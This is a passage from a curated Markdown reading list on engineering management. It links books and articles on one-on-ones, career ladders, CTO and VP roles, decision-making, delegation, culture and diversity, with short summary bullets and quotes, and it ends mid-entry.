postings](#hiring-job-postings) - [Hiring: process](#hiring-process) - [Hiring: résumé review](#hiring-r%C3%A9sum%C3%A9-review) - [Hiring: sourcing](#hiring-sourcing) - [Hiring: take home exercises](#hiring-take-home-exercises) - [Hiring: quotes](#hiring-quotes) - [Incident prevention and response (on-call, outages)](#incident-prevention-and-response-on-call-outages) - [Learning, retro, postmortem](#learning-retro-postmortem) - [Management style](#management-style) - [Meetings](#meetings) - [Mentoring](#mentoring) - [Mindset and attitude](#mindset-and-attitude) - [Motivation](#motivation) - [Onboarding new team members or yourself](#onboarding-new-team-members-or-yourself) - [Organizational structure](#organizational-structure) - [Production and productivity](#production-and-productivity) - [Personal productivity](#personal-productivity) - [Planning (roadmap, goal setting, KPI, OKR, etc.)](#planning-roadmap-goal-setting-kpi-okr-etc) - [Goals](#goals) - [OKRs](#okrs) - [Platform teams & DevEx (developer experience)](#platform-teams--devex-developer-experience) - [Presentations, design and public speaking](#presentations-design-and-public-speaking) - [Prioritization](#prioritization) - [Problem solving](#problem-solving) - [Processes for engineering](#processes-for-engineering) - [Product management](#product-management) - [Project management](#project-management) - [Estimating work (project management)](#estimating-work-project-management) - [Release management](#release-management) - [Remote teams](#remote-teams) - [Team vision](#team-vision) - [Technical strategy](#technical-strategy) - [Team culture](#team-culture) - [Scaling an organization](#scaling-an-organization) - [Security](#security) - [Soft skills, Emotional Quotient (EQ)](#soft-skills-emotional-quotient-eq) - [Strategy](#strategy) - [Team dynamics](#team-dynamics) - [Training](#training) - [Trust](#trust) - [Work ethics & work/life balance](#work-ethics--worklife-balance) - [Workshop facilitation](#workshop-facilitation) - [Writing](#writing) - [Other sources](#other-sources) - [Other lists](#other-lists) - [Movies](#movies) - [TV Shows](#tv-shows) - [Keeping up-to-date: blogs and newsletters](#keeping-up-to-date-blogs-and-newsletters) - [Newsletter](#newsletter) - [Blogs](#blogs) - [Podcast](#podcast) - [My other lists](#my-other-lists) <!-- END doctoc generated TOC please keep comment here to allow auto update --> ## About this list Items: - 🧰 : list of resources - 📖 : book - 🎞 : video/movie extract/movie - 🎤 : slides/presentation - 🎧 : podcast - ⭐️ : must-read ## Books More than any other field, management is full of fluffy books that could be summarized in one 100-word article. That being said, there's a number of excellent books, listed below. ### Turn the Ship Around!: A True Story of Turning Followers into Leaders 📖 [Turn the Ship Around!: A True Story of Turning Followers into Leaders](http://www.amazon.com/Turn-Ship-Around-Turning-Followers/dp/1591846404) is hands down my preferred management book. This book made me truly understand what empowering local decision means. In particular, I liked how the author explains that the usual chain of command requires information to go up the chain, and decision to go down, which is insanely inefficient. It provides great tools for managers to help their team members come up with their own decisions, in particular the notion of **deliberate action**. There's a also [a presentation](http://www.slideshare.net/micrimson/turn-the-ship-around-041614) that talks about the main concepts the author developed. There are numerous cheesy management books and this is not one of them. The narration is great as well and the explanations are short, and to the point. You can find a short summary in video [here](https://www.youtube.com/watch?v=psAXMqxwol8) > “Control without competence is chaos.” — L. David Marquet, Turn the Ship Around! ### Other generalist books - 📖 [The Advantage, Enhanced Edition: Why Organizational Health Trumps Everything Else In Business](http://www.amazon.com/gp/product/B006ORWT3Y/ref=dp-kindle-redirect?ie=UTF8&btkr=1), Patrick M. Lencioni. - The only way for people to embrace a message is to hear it over a period of time, in a variety of different situations, and preferably from different people. That’s why great leaders see themselves as Chief Reminding Officers as much as anything else. - The best way to do cascading communication is face-to-face and live. Seeing a leader and hearing the tone of his or her voice is critical for employees, as is being able to ask a question or two. - But then again, most organizations are unhealthy precisely because they aren’t doing the basic things, which require discipline, persistence, and follow-through more than sophistication or intelligence. - 📖 [Managing Humans: Biting and Humorous Tales of a Software Engineering Manager](https://www.amazon.com/Managing-Humans-Humorous-Software-Engineering/dp/1484221575): "Read hilarious stories with serious lessons that Michael Lopp extracts from his varied and sometimes bizarre experiences as a manager at Apple, Pinterest, Palantir, Netscape, Symantec, Slack, and Borland. Many of the stories first appeared in primitive form in Lopp’s perennially popular blog, Rands in Repose." - 📖 Oren Ellenbogen, [Leading Snowflakes: the Engineering Manager Handbook](http://leadingsnowflakes.com/): some truly great content and concrete ideas to move from maker to manager mode, code reviewing your management decisions, delegating tasks without losing quality or visibility. - 📖 Adam Grant, [Give and Take: Why Helping Others Drives Our Success](https://www.amazon.com/dp/B00AFPTSI0/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1): "This gem is a joy to read, and it shatters the myth that greed is the path to success.", Robert Sutton. - 📖 Ken Blanchard, [Lead Like Jesus: Lessons from the Greatest Leadership Role Model of All Time](https://www.amazon.com/dp/B004VF62IO/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1). - 📖 Andrew S. Grove, [High Output Management](https://www.amazon.com/dp/B015VACHOK/ref=dp-kindle-redirect?_encoding=UTF8&btkr=1). A landmark book by Intel CEO Andy Grove. Introduced many of the management best practices such as 1-1, OKR. - Managerial leverage measures the impact of what managers do to increase the output of their teams. - You need to plan the way a fire department plans. It cannot anticipate where the next fire will be, so it has to shape an energetic and efficient team that is capable of responding to the unanticipated as well as to any ordinary event. - Every hour of your day should be spent increasing the output or the value of the output of the people whom you’re responsible for. - A common rule we should always try to heed is to detect and fix any problem in a production process at the lowest-value stage possible. - A genuinely effective indicator will cover the output of the work unit and not simply the activity involved. Obviously, you measure a salesman by the orders he gets (output), not by the calls he makes (activity). - A manager’s output = The output of his organization + The output of the neighboring organizations under his influence. - League standings are kept by team, not by individual. Business—and this means not just the business of commerce but the business of education, the business of government, the business of medicine—is a team activity. And, always, it takes a team to win. - Your decision-making depends finally on how well you comprehend the facts and issues facing your business. This is why information-gathering is so important in a manager’s life. - The lack of a decision is the same as a negative decision; no green light is a red light, and work can stop for a whole organization. - Delegation without follow-through is abdication. - Any decision be worked out and reached at the lowest competent level. The reason is that this is where it will be made by people who are closest to the situation and know the most about it. - Self-confidence mostly comes from a gut-level realization that nobody has ever died from making a wrong business decision, or taking inappropriate action, or being overruled. - A successful MBO [management by objective] system needs only to answer two questions: 1.  Where do I want to go? (The answer provides the objective.) 2.  How will I pace myself to see if I am getting there? (The answer gives us milestones, or key results). - The one thing an MBO system should provide par excellence is focus. This can only happen if we keep the number of objectives small. In practice, this is rare, and here, as elsewhere, we fall victim to our inability to say “no”—in this case, to too many objectives. We must realize—and act on the realization—that if we try to focus on everything, we focus on nothing. A few extremely well-chosen objectives impart a clear message about what we say “yes” to and what we say “no” to—which is what we must have if an MBO system is to work. - Alfred Sloan summed up decades of experience at General Motors by saying, “Good management rests on a reconciliation of centralization and decentralization.” Or, we might say, on a balancing act to get the best combination of responsiveness and leverage. - I would like to propose Grove’s Law: All large organizations with a common business purpose end up in a hybrid organizational form. - When a person is not doing his job, there can only be two reasons for it. The person either can’t do it or won’t do it; he is either not capable or not motivated. - That variable is the task-relevant maturity (TRM) of the subordinates, which is a combination of the degree of their achievement orientation and readiness to take responsibility, as well as their education, training, and experience. - When the TRM is low, the most effective approach is one that offers very precise and detailed instructions, wherein the supervisor tells the subordinate what needs to be done, when, and how: in other words, a highly structured approach. As the TRM of the subordinate grows, the most effective style moves from the structured to one more given to communication, emotional support, and encouragement. - The responsibility for teaching the subordinate must be assumed by his supervisor, and not paid for by the customers of his organization, internal or external. - At all times you should force yourself to assess performance, not potential. - A manager generally has two ways to raise the level of individual performance of his subordinates: by increasing motivation, the desire of each person to do his job well, and by increasing individual capability, which is where training comes in. - 📖 Patrick Lencioni, [The Five Dysfunctions of a Team: A Leadership Fable](https://www.amazon.com/Five-Dysfunctions-Team-Leadership-Fable/dp/0787960756/ref=sr_1_1?s=books&ie=UTF8&qid=1500281191&sr=1-1&keywords=dysfunctions). - 📖 Work Rules!: Insights from Inside Google That Will Transform How You Live and Lead, Laszlo Bock. A pretty interesting description of Google's processes. A bit long at times. - 📖 [The Manager's Path](https://www.oreilly.com/library/view/the-managers-path/9781491973882/) , Camille Fournier. A very practical book with lots of down-to-earth advices. There are some other more specific books quoted below. Other books I haven't read: - [Engineering Management for the Rest of Us](https://www.engmanagement.dev/) ### Book reading lists - [Jason Evanish's list](https://jasonevanish.com/books/) (Lighthouse founder) is quite comprehensive. - [Holiday Book Recommendations for Engineering Managers, Software Engineers and Product Managers](https://blog.pragmaticengineer.com/holiday-tech-book-recommendations/#books-by-genre), Gergely Orosz - [Most Recommended Books to Make You a Better Engineering Manager](https://managersclub.com/most-recommended-books-engineering-leaders/) ## What is engineering management? Here are some generic resources: - [Unintuitive Things I’ve Learned about Management](https://medium.com/the-year-of-the-looking-glass/unintuitive-things-i-ve-learned-about-management-f2c42d68604b#.2z9av4pzs) - Lars Dalgaard, [Thoughts on Building Weatherproof Companies](http://a16z.com/2016/03/25/building-weatherproof-companies/): while originally aimed at startups CEOs, this article from Andreessen Horowitz's blog is a very inspiring read on what it takes to scale your team. ### General management resources - [14 Points for Management](https://deming.org/explore/fourteen-points) by W. Edwards Deming. - [Keith Rabois on the Role of a COO, How to Hire and Why Transparency Matters](http://firstround.com/review/Keith-Rabois-on-the-role-of-a-COO-how-to-hire-and-why-transparency-matters/) includes some nice management nuggets. - 🧰 [ksindi/managers-playbook: Heuristics for effective management](https://github.com/ksindi/managers-playbook) - [The Evolution of Management](https://queue.acm.org/detail.cfm?id=3350548), Kate Matsudaira, ACM Queue. A great compilation of advices for all management levels. - [Principles of Management](https://courses.lumenlearning.com/suny-principlesmanagement/) a nice introduction for all management aspects for new managers. [Tal Bereznitskey](https://hackernoon.com/managing-engineers-in-less-than-200-characters-edb35e4199e4#.n8wruugqz)'s awesome definition for managing engineers: > Hire motivated people. Trust them. Set high standards for everything. Lead by example. Get out of their way and let them be the heroes of the day. That’s it. ### Articles - [The Quiet Crisis unfolding in Software Development](https://medium.com/@billjordan1/the-quiet-crisis-unfolding-in-software-development-cffbdafbf450#.uy7x227pc) - [Mistakes of the First Twenty-five Years](articles/mistakes_25_years.md), in which Warren Buffet describes the "institutional imperative", or how an institution will amplify (not resist) a bad manager's irrational decisions. - [44 engineering management lessons](http://www.defmacro.org/2014/10/03/engman.html) from the cofounder of RethinkDB. Very high-level, a pretty good summary. - [21 management things I learned at Imgur](https://medium.com/@gerstenzang/21-management-things-i-learned-at-imgur-7abb72bdf8bf) - [The Rands Test](http://randsinrepose.com/archives/the-rands-test/), Rands in Repose. The equivalent of [The Joel Test](https://www.joelonsoftware.com/2000/08/09/the-joel-test-12-steps-to-better-code/) for management. - Do you have a 1:1? - Do you have a team meeting? - Do you have status reports? - Can you say No to your boss? - Can you explain the strategy of the company to a stranger? - Can you explain the current state of business? - Does the guy/gal in charge regularly stand up in front of everyone and tell you what he/she is thinking? Are you buying it? - Do you know what you want to do next? Does your boss? - Do you have time to be strategic? - Are you actively killing the Grapevine? - [What are the signs that you have a great manager?](https://news.ycombinator.com/item?id=20230133) : great discussion on Hacker News - A great manager is at the service of their team. - You don't really notice a great manager. - Communicate context as high level and as complete as possible. - [Managing people](https://klinger.io/posts/managing-people-%F0%9F%A4%AF) - As a manager, everything is your fault - You manage processes; you lead people - Processes are expectations made explicit - Trust through transparency - Don't confuse autonomy and abandonment - Avoid drive-by management - Explicit > Implicit - Expect to refactor your company every few months - Chaos is felt less by the people creating it - Expect more from managers that report from you - [37 Years Ago, Steve Jobs Said the Best Managers Never Actually Want to Be Managers. Science Says He Was Right](https://www.inc.com/jeff-haden/37-years-ago-steve-jobs-said-best-managers-never-want-to-be-a-manager-science-says-he-was-right.html) - "If your boss could do your job, you're more likely to be happy at work" - [Group Dynamics: The Leader's Toolkit (Ed Batista)](https://www.edbatista.com/2022/09/group-dynamics-the-leaders-toolkit.html) - [Some mistakes I made as a new manager](https://www.benkuhn.net/newmgr/) - The trough of zero dopamine - Staying on the critical path - Managing the wrong amount - Procrastinating on hard questions - Indefinitely deferring maintenance - Angsting instead of asking ### Tools - [devtomanager.com](https://devtomanager.com/): first-hand advice from seasoned experts ## Engineering Management Topics This is a list of inspiring articles related to engineering management. Those are usually short and concise articles that are packed with inspiring and concrete ideas. They have shaped my own management practice, and I hope they will inspire you as well. I don't necessarily agree with everything listed here. Actually, you'll see that some of those articles have diametrically opposed opinions. I do believe those thought-provoking resources will help you in your manager journey. ### 1-1 - [On 1-1s](https://cate.blog/2016/11/05/on-11s/) - [How to have an honest one-on-one with an employee](https://m.signalvnoise.com/how-to-have-an-honest-one-on-one-with-an-employee-24bbddeb0f47#.qpltxoa2b) - [Tool: Hold effective 1:1 meetings](https://rework.withgoogle.com/guides/managers-coach-managers-to-coach/steps/hold-effective-1-1-meetings/) - [21 Reasons You Should Start Having One on Ones with Your Team](https://jasonevanish.com/2014/05/21/21-reasons-you-should-start-having-one-on-ones-with-your-team/) - [What is an Inquiring Leader?](https://www.linkedin.com/pulse/what-inquiring-leader-marilee-adams) - HBR, [How to Ask Better Questions](https://hbr.org/2009/05/real-leaders-ask.html) - [Mentor vs Advisor vs Coach](http://baxterblog.typepad.com/blog/2012/11/mentor-vs-advisor-vs-coach.html) - [How To Be Someone People Love To Talk To](http://www.bakadesuyo.com/2015/02/love-to-talk/) - 🧰 [Mega list of 1 on 1 meeting questions compiled from a variety to sources](https://github.com/VGraupera/1on1-questions) - [130+ One on One Meeting Questions Great Managers Ask](https://getlighthouse.com/blog/one-on-one-meeting-questions-great-managers-ask/) - Building rapport & trust - Talking about career development - Giving and receiving feedback - Talking about ways to improve your team or your company - Checking in on their general happiness - Special questions for remote employees - Leading your team through difficult times - Being a coach to your team - Skip level meeting questions - The one on one meeting questions you need to ask every time - [Why Your One-on-One’s Should Probably Be Longer](https://medium.com/vpe-coach/why-your-one-on-ones-should-probably-be-longer-cbf8961645fc) - The “30 minute One-on-One” Anti-Pattern - Change the day - [5 Questions Every Manager Needs to Ask Their Direct Reports](https://hbr.org/2022/01/5-questions-every-manager-needs-to-ask-their-direct-reports), HBR - How would you like to grow within this organization? - Do you feel a sense of purpose in your job? - What do you need from me to do your best work? - What are we currently not doing as a company that you feel we should do? - Do you have the opportunity to do what you do best every day? ### Antipatterns - [Seven Deadly Diseases of Management](https://deming.org/explore/seven-deadly-diseases), Dr. Deming. Great video as well. I don't necessarily agree with everything but Deming is still one of the great management thinker. ### Biases - 📖 [Thinking, Fast and Slow](https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow) by Daniel Kahneman and published in 2012 is already a classic. It offers a whirling tour into our biases and the limits of human judgment. Truly amazing read. - [You're not going to believe what I'm about to tell you](http://theoatmeal.com/comics/believe), The Oatmeal (comics) about the backfire effect ("given evidence against their beliefs, people can reject the evidence and believe even more strongly", [confirmation bias - Wikipedia](https://en.wikipedia.org/wiki/Confirmation_bias)). Cognitive biases don't only apply to hiring... They can impact performance reviews, 1-1, team meetings, even small talk with colleagues. - [Cognitive bias cheat sheet](https://betterhumans.coach.me/cognitive-bias-cheat-sheet-55a472476b18#.6temb6hyg) - [A flowchart of cognitive biases](https://www.breakdown-notes.com/makemap/load/biases) - [The Cognitive Bias Codex](https://upload.wikimedia.org/wikipedia/commons/6/65/Cognitive_bias_codex_en.svg) ### Brainstorming - [Extreme questions to trigger new, better ideas](https://longform.asmartbear.com/posts/extreme-questions/), A Smart Bear - The following prompts jostle you out of tiny thinking - If you were forced to increase your prices by 10x, what would you have to do to justify it? - If all our customers vanished, and we had to earn our growth and brand from scratch, what would we do? - If you were never allowed to provide tech support, in any form, what would have to change? - If our biggest competitor copied every single feature we have, how do we still win? - What if we are forced to ship a full, completed (at least MVP) new feature, in just two weeks, that would delight and surprise some fraction of our customers. - What if you were forced to charge customers in a completely different manner? - No more synchronous meetings, ever again? - If we could never talk to our customers again, how would we figure out what to build? - What if it didn’t matter how unprofitable you were? - What externality has the potential to kill the entire company? > The dangerous man is the one who has only one idea, because then he’ll fight and die for it. The way real science goes is that you come up with lots of ideas, and most of them will be wrong. — Francis Crick ### Career growth and job ladder Also check the [charlax/professional-programming's Career Growth section](https://github.com/charlax/professional-programming/#career-growth). - [Square’s Growth Framework for Engineers and Engineering Managers](https://developer.squareup.com/blog/squares-growth-framework-for-engineers-and-engineering-managers/) - Have two tracks - Becoming a manager is not a promotion - Organized into two major sections: Scope & Impact and Behaviors - No strict minimum requirements for years of experience at any given level - Promotions are descriptive not prescriptive - Promotion decisions are structured and rigorous - [Titles are Toxic](http://randsinrepose.com/archives/titles-are-toxic/), Rands in Repose. A pretty interesting take on titles. - [Thriving on the Technical Leadership Path](https://keavy.com/work/thriving-on-the-technical-leadership-path/) - I’ve chosen to cultivate a path for myself that enables me to dig into complex technical and product problem spaces and help lead technical and strategic direction for my organization, as an engineer but not a manager. - [Refactoring Our Engineering Skills Matrix](https://engine.expert360.com/refactoring-our-engineering-skills-matrix-b5314e2b0013) - [How to waste your career, one comfortable year at a time](https://apoorvagovind.substack.com/p/how-to-waste-your-career-one-comfortable) - 🎤 [Creating a Career Ladder for Engineers](https://speakerdeck.com/polotek/creating-a-career-ladder-for-engineers) - [Medium Engineering Growth Framework](https://medium.com/s/engineering-growth-framework) - [Engineering levels at Carta](https://medium.com/building-carta/engineering-levels-at-carta-d33db2a55a20) - [Things We Learned Creating Technology Career Steps](https://engineering.atspotify.com/2016/02/22/things-we-learned-creating-technology-career-steps/) (Spotify) - Behavior Versus Achievements - [Engineering levels and progression](https://location.foursquare.com/resources/blog/developer/engineering-levels-and-progression/), Foursquare - A pretty concise description of what's expected at different levels (L3, L4, etc.) - [On Being A Senior Engineer](https://www.kitchensoap.com/2012/10/25/on-being-a-senior-engineer/), Kitchen Soap Curated examples of job ladder/career development matrix: - ⭐️ [RentTheRunway's Software Development/Leadership Ladder](https://docs.google.com/spreadsheets/d/1k4sO6pyCl_YYnf0PAXSBcX776rNcTjSOqDxZ5SDty-4/edit#gid=0) - [Songkick](https://www.songkick.com/downloads/growth-framework/sk-growth-framework.pdf): concise, clear and includes examples. - [Gitlab Engineering Career Development](https://about.gitlab.com/handbook/engineering/career-development/) - [Expert360](http://eng-skills-matrix.expert360.com/): pretty detailed, does not seem to have two tracks - Also includes hard skills such as this [backend roadmap](http://eng-skills-matrix.expert360.com/backend-roadmap.pdf) - Medium, [Engineering Growth Framework](https://medium.com/s/engineering-growth-framework), Medium pulls back the curtain on how they do career growth. - [Medium's skills spreadsheet](https://docs.google.com/spreadsheets/d/1EO-Dbsayn8Nz9Ii3MKcwRbt-EIJ2MjQdpoyhh0tBdZk/edit#gid=1098466721): mixes all rubrics regardless of role - [Khan Academy](https://docs.google.com/document/d/1qr0d05X5-AsyDYqKRCfgGGcWSshTMd_vfTggfhDpbls/edit) - Skills: maximise impact, be open, empathise and respect, have conviction, seek engineering maturity. - Levels: beginning skillful, skillful, more skillful, super skillful, ludicrously skillful - [CircleCI](https://docs.google.com/spreadsheets/d/131XZCEb8LoXqy79WWrhCX4sBnGhCM1nAIz4feFZJsEo/edit#gid=0): detailed and complete - [Dropbox](https://dropbox.github.io/dbx-career-framework/overview.html) - [progression-framework/frameworks/engineering](https://github.com/monzo/progression-framework/tree/master/frameworks/engineering) - [jorgef/engineeringladders](https://github.com/jorgef/engineeringladders) - [Fog Creek Professional Ladder – Joel on Software](https://www.joelonsoftware.com/2009/02/13/fog-creek-professional-ladder/) - [Square](https://developer.squareup.com/blog/squares-growth-framework-for-engineers-and-engineering-managers/) ([competencies](https://assets.ctfassets.net/1wryd5vd9xez/6bDnTwb4H7bfiFvg55ldRR/b1cb8514f0afd0a4050991d35ccbac03/Square_Software_Engineering_Career_Ladder.pdf)) - [career-ladders](https://career-ladders.dev/engineering/) List of lists: - [30+ Engineering Career Ladders](https://nidup.io/garden/engineering-career-ladders?s=09) - [Another list of career pathways](https://www.progression.fyi/) by a [Progression, a tool to define and measure career growth](https://progressionapp.com/) Concepts: - [Four stages of competence](https://en.wikipedia.org/wiki/Four_stages_of_competence), Wikipedia ### Change management - 🎧 [At The Table with Patrick Lencioni: 50. Let the Haters Hate](https://atthetable-patricklencioni.libsyn.com/50-let-the-haters-hate) - [Nemawashi](https://en.m.wikipedia.org/wiki/Nemawashi) (Wikipedia): "an informal process of quietly laying the foundation for some proposed changed". - [Why the status quo is so hard to change in engineering teams](https://www.okayhq.com/blog/status-quo-is-so-hard-to-change-in-engineering-teams) - Process-related Learned Helplessness - Complexity-related Learned Helplessness - Resignation by a thousand cuts - Declare process bankruptcy ### Code reviews See my [professional-programming section about code reviews](https://github.com/charlax/professional-programming#code-reviews) ### Communication - [Tough News: We’ve Made 10 Layoffs. How We Got Here, the Financial Details and How We’re Moving Forward](https://open.buffer.com/layoffs-and-moving-forward/): a great post by Joel Gascoigne (CEO & Founder of Buffer) sharing some pretty tough news to the team and to the world. Great transparency, great message, great ownership. A model to follow. - [How To Pitch A Product](http://avc.com/2010/08/how-to-pitch-a-product/), AVC. - [Ken Norton’s Discipline of No](https://blog.mixpanel.com/2016/09/20/learning-to-say-no-with-ken-norton/). #attitude #habits. - [Nonviolent communication](https://en.wikipedia.org/wiki/Nonviolent_Communication) (Wikipedia) - [Mental Models I Find Repeatedly Useful](https://medium.com/@yegg/mental-models-i-find-repeatedly-useful-936f1cc405d#.7mqxmkpz9) - [Breaking Bad News](http://boz.com/articles/bad-news.html) - [Operations and Internal Communication Strategies For Effective CEOs](https://www.sametab.com/blog/operations-and-internal-communication-strategies-for-effective-ceos) - Narratives (not facts) are what move people - The why always before the what - Alignment is not one-way only - Repeat, repeat, repeat - Consider writing a personal weekly newsletter - [Tools for better thinking](https://untools.co/) - Decision matrix - Ladder of inference - First principles - [How To Say No](https://www.starterstory.com/how-to-say-no). Templates for saying no to written interviews, going to an event, doing free work... - 🎧 [At The Table with Patrick Lencioni: 59. Don't Make Me Repeat Myself](https://atthetable-patricklencioni.libsyn.com/59-dont-make-me-repeat-myself) - [How to Disagree](http://www.paulgraham.com/disagree.html), Paul Graham - Disagreement hierarchy 0: name calling - DH1: ad hominem - DH2: responding to tone - DH3: contradiction - DH4: counterargument - DH5: refutation - DH6: refuting the central point - Analyzing your own level of disagreement can help with unintentional intellectual dishonesty. - When you have something real to say, being mean gets in the way - [Apple Pie Position](https://twitter.com/shreyas/status/1628567045800591361), Shreyas Doshi - A statement that instantly elevates the person who is saying it and is simultaneously hard for anyone else to push back on, and so everyone avoids the personal risk and just nods “yes”, even though its actual value in this specific situation might be relatively low, zero, or even negative. - E.g., "We need to define the success metrics for X" - E.g., "We need a better go-to-market motion to improve product adoption" ### Conflict resolution - 🎞 [Disagree and commit](https://www.youtube.com/watch?v=oZw2cg8AXDw) ### CTO (Chief Technical Officer), VPoE and other levels See also the section about [Organizational structure](#organizational-structure) - Martin Casado, [Hire a VP of Engineering](https://a16z.com/2017/05/26/hiring-vp-engineering-why-what/) on the Andreessen Horowitz blog - The most important function of a VP of engineering is to build out the engineering team and set a startup’s engineering culture. - Competent engineering management should therefore be able to push the team towards more practical, incremental designs that can garner useful external feedback quickly — without compromising the long-term generality of the system. The VP’s role here is not producing the architecture, but ensuring that incremental release is a real requirement in the design process. - Strong engineering management tends to give their teams enough ownership and latitude that they are happy and fulfilled in driving the product forward. - AVC, [VP Engineering Vs CTO](https://avc.com/2011/10/vp-engineering-vs-cto/) - Mark Suster, [Want to Know the Difference Between a CTO and a VP Engineering?](https://bothsidesofthetable.com/want-to-know-the-difference-between-a-cto-and-a-vp-engineering-4fc3750c596b#.gw) - 🎤 [CTO vs VP Engineering Balancing Innovation](https://www.slideshare.net/bcantrill/cto-vs-vp-of-engineering), Bryan Cantrill, Jason Hoffman - Will Larson, [Your first 90 days as CTO or VP Engineering.](https://lethain.com/first-ninety-days-cto-vpe/) - Durable improvements depend on creating systems that create changes, not performing tactical actions that create the ephemeral appearance of improvement. - Figure out if something is really wrong and needs immediate attention. - Shadow customer meetings, partner meetings or user testing. - Find your business analytics and how to query them. - Shadow existing interviews, onboarding and closing calls. - Kickoff engineering brand efforts. - Build a trivial change and deploy it. - [The 7 roles of a CTO](https://oded.substack.com/p/the-7-roles-of-a-cto) - Executive - Representative - People manager (sometimes) - Hands on developer (sometimes) - Owns security and IT - Salesperson - Does whatever it takes - [Advice for new directors](https://www.rubick.com/advice-for-new-directors/) - A lot of your job is training managers - Biggest skill to learn: sensing your organization - You’ll need a new perspective - You should focus on systems - Beware the distortions of power - You’re judged by the difference you make on your organization. - [Your CTO Should Actually Be Technical](https://blog.southparkcommons.com/your-cto-should-actually-be-technical/) - Exceptional technical ability is the only way for CTOs/VPEs to be true judges of quality. - It allows them to make highly educated tradeoffs - [5 Things Founders, Investors and Recruiters Should Know about the CTO role](https://medium.com/cto-as-a-service/5-things-founders-investors-and-recruiters-should-know-about-the-cto-role-a65d7bb66264) - “The CTO’s primary job is to make sure the company’s technology strategy serves its business strategy” — Eric Ries. - As a CTO, you don’t work in the box, because your task is to examine the box and make it better. - The CTO might code, but only on POCs and prototypes. ### Data organization - [Building a data team at a mid-stage startup: a short story](https://erikbern.com/2021/07/07/the-data-team-a-short-story.html) - [Building The Analytics Team At Wish](https://medium.com/wish-engineering/scaling-analytics-at-wish-619eacb97d16) (a four-part series of articles) - Rebuilding The Data Pipeline - Building The Data Warehouse - Deploying Business Intelligence Tooling - Data engineering should build a system that allows analysts to produce their own pipelines. - Strong interviewers need to have flexible questions that react to signals from the candidates. - [Engineers Shouldn’t Write ETL: A Guide to Building a High Functioning Data Science Department](https://multithreaded.stitchfix.com/blog/2016/03/16/engineers-shouldnt-write-etl/) - You Probably Don’t Have Big Data - Nobody enjoys writing and maintaining data pipelines or ETL. It’s the industry’s ultimate hot potato. - Give data scientists ownership of the ETL end-to-end - Engineers design new Lego blocks that data scientists assemble in creative ways to create new data science. - It is absolutely essential for platform engineers to stay ahead of the data science teams - Engineers should see themselves as being “Tony Stark’s tailor”, building the armor that prevents data scientists from falling into pitfalls that yield unscalable or unreliable solutions. - We [should be ok with] sacrificing technical efficiency for velocity and autonomy ### Culture - [The maze is in the mouse](https://medium.com/@pravse/the-maze-is-in-the-mouse-980c57cfd61a) lays out how Google's culture impeded its results and execution. - "It is a soft peacetime culture where nothing is worth fighting for." - Google employees get very little done because they are trapped in a maze of processes. - The culture focuses on consensus ("respect each other") and risk-avoidance at the expense of heroism or value-creating ideas/bets. - Each employee's mission is not about the customer but about serving a VP or a technical belief/process. - Most managers are [peacetime managers](https://a16z.com/2011/04/14/peacetime-ceo-wartime-ceo/) and lack a sense of urgency. - There is a general lack of humility regarding the internal tech stack. The delusion of exceptionalism means that employees believe everything they do is perfect. - "Strategy is rarely articulated clearly (that would be career risk)" ### Decisions - [Square Defangs Difficult Decisions with this System — Here’s How](http://firstround.com/review/square-defangs-difficult-decisions-with-this-system-heres-how/) - [How to simplify complex decisions by cleaving the facts](https://blog.asmartbear.com/complex-decisions.html), Jason Cohen. - [Mental Models: The Best Way to Make Intelligent Decisions (113 Models Explained)](https://www.fs.blog/mental-models/) - [How to Make a Big Decision](https://www.nytimes.com/2018/09/01/opinion/sunday/how-make-big-decision.html), the NYT. - [Principles for Decision-Making in a Flat Organization](https://doist.com/blog/decision-making-flat-organization/) - We risk more when we delay decisions in an attempt to reach total consensus. - If there is a good enough solution X, don’t ask people what they think about it. Instead, ask everyone if they can live with it and if not, why. - Consensus is the path, not the destination. - [Principles.dev - Software Engineering Principles](https://principles.dev/) - [Guiding principle: consent over consensus](https://jchyip.medium.com/guiding-principle-consent-over-consensus-8aee08540d62) - [Tools for better thinking](https://untools.co/): Situation-Behavior-Impact, conflict resolution diagram, Ishikawa diagram, Einsenhower matrix, second order thinking, decision matrix, etc. > Arguments you should avoid using - that are logical fallacies > “Because it’s always been done this way.” > “Because we tried it before, and it didn’t work.” > “Because company X uses this.” > “Because {important person} said so.” > > Reason on tradeoffs, constraints, opportunities instead. > > – Gergely Orosz ### Delegation - [The Counterintuitive Art of Leading by Letting Go](http://99u.com/articles/43081/the-counter-intuitive-art-of-leading-by-letting-go) - Against micromanagement: "After you plant a seed in the ground, you don’t dig it up every week to see how it is doing", William Coyne, Head of R&D at 3M. > The 70/10/80 Principle of delegation: “Find someone who can do what you do at 70% the success rate. Teach them the extra 10% and be okay with 80%.” ### Delivery - [A primer on engineering delivery metrics](https://leaddev.com/scaling-software-systems/primer-engineering-delivery-metrics) - [Engineering productivity can be measured - just not how you'd expect](https://www.okayhq.com/blog/engineering-productivity-can-be-measured). Interesting take. - Non-measurement unfairly rewards people with charisma while productive but less-persuasive engineers wallow in frustration. - Measure Blockers at the Team Level ### Diversity and inclusion - 📖 [Breaking Through Bias: Communication Techniques for Women to Succeed at Work](https://www.amazon.com/Breaking-Through-Bias-Communication-Techniques/dp/B01F93NFP4) - Most men believe that they have no biases against women and that the organizations in which they work treat women and men equally. If senior-level men read this book, they will realize that neither of these beliefs is correct. - 📖 [Thinking, Fast and Slow](https://en.wikipedia.org/wiki/Thinking,_Fast_and_Slow), Wikipedia - 🎞 [2 Minutes Book Summary: Thinking Fast and Slow](https://www.youtube.com/watch?v=9ivtvPVkFkw&ab_channel=Lifehack) - [Project Include](http://projectinclude.org/): an open community working toward providing meaningful diversity and inclusion solutions for tech companies. A great resource for anything diversity-related. - [Guess Who Doesn’t Fit In at Work](http://www.nytimes.com/2015/05/31/opinion/sunday/guess-who-doesnt-fit-in-at-work.html) - [Good Intentions Fail at Scale](http://www.fancybeans.com/blog/2016/02/05/good-intentions-fail-at-scale/): great article about why you can't rely on good intentions to increase diversity. - [List of cognitive biases on Wikipedia](http://rationalwiki.org/wiki/List_of_cognitive_biases) - 🎞 [Making the Unconscious Conscious](https://www.youtube.com/watch?v=NW5s_-Nl3JE) (Google Video) - [There’s no "silver bullet" to increasing diversity, but here's how we're making progress.](https://magoosh.com/blog/silver-bullet-diversity-progress/), Magoosh. - 🎤 [Diversity & Inclusion: Why and How](https://speakerdeck.com/webmardi/diversity-and-inclusion-why-and-how?slide=25) - 🎞 [How microaggressions are like 